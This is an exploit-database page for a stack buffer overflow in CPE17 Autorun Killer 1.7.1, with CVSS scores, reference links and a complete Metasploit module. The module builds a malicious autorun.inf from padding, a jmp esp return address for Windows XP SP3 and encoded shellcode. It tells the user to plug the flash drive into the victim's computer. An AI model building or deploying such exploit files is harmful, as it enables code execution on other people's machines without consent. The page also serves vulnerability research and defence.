CPE17 Autorun Killer <= 1.7.1 Stack Buffer Overflow

2012.07.26
Credit: Xelenonz
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 6.9/10
Impact Subscore: 10/10
Exploitability Subscore: 3.4/10
Exploit range: Local
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# # CPE17 Autorun Killer <= 1.7.1 Stack Buffer Overflow exploit # by Xelenonz require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'CPE17 Autorun Killer <= 1.7.1 Stack Buffer Overflow exploit', 'Description' => %q{ readfile function is vulnerable it can be overflow }, 'Author' => [ 'Xelenonz' ], 'Version' => '0.1', 'Payload' => { 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'EncoderOptions' => {'BufferRegister'=>'ECX'}, }, 'DefaultOptions' => { 'DisablePayloadHandler' => 'true', }, 'Platform' => 'windows', 'Targets' => [ [ 'Windows XP SP3', { 'Ret' => 0x775a676f, 'Offset' => 500 } ], ], 'DefaultTarget' => 0, 'Privileged' => false )) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'autorun.inf']), ], self.class) end def exploit print_status("Encoding Payload ...") enc = framework.encoders.create("x86/alpha_mixed") enc.datastore.import_options_from_hash( {'BufferRegister'=>'ESP'} ) hunter = enc.encode(payload.encoded, nil, nil, platform) buffer = "" buffer << "A"*target['Offset'] # padding offset buffer << [target.ret].pack('V') # jmp esp buffer << hunter # shellcode print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(buffer) print_status("Plug flashdrive to victim's computer") handler end end

References:

http://xforce.iss.net/xforce/xfdb/75238
http://www.securityfocus.com/bid/53286
http://www.exploit-db.com/exploits/18792
http://osvdb.org/81496


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top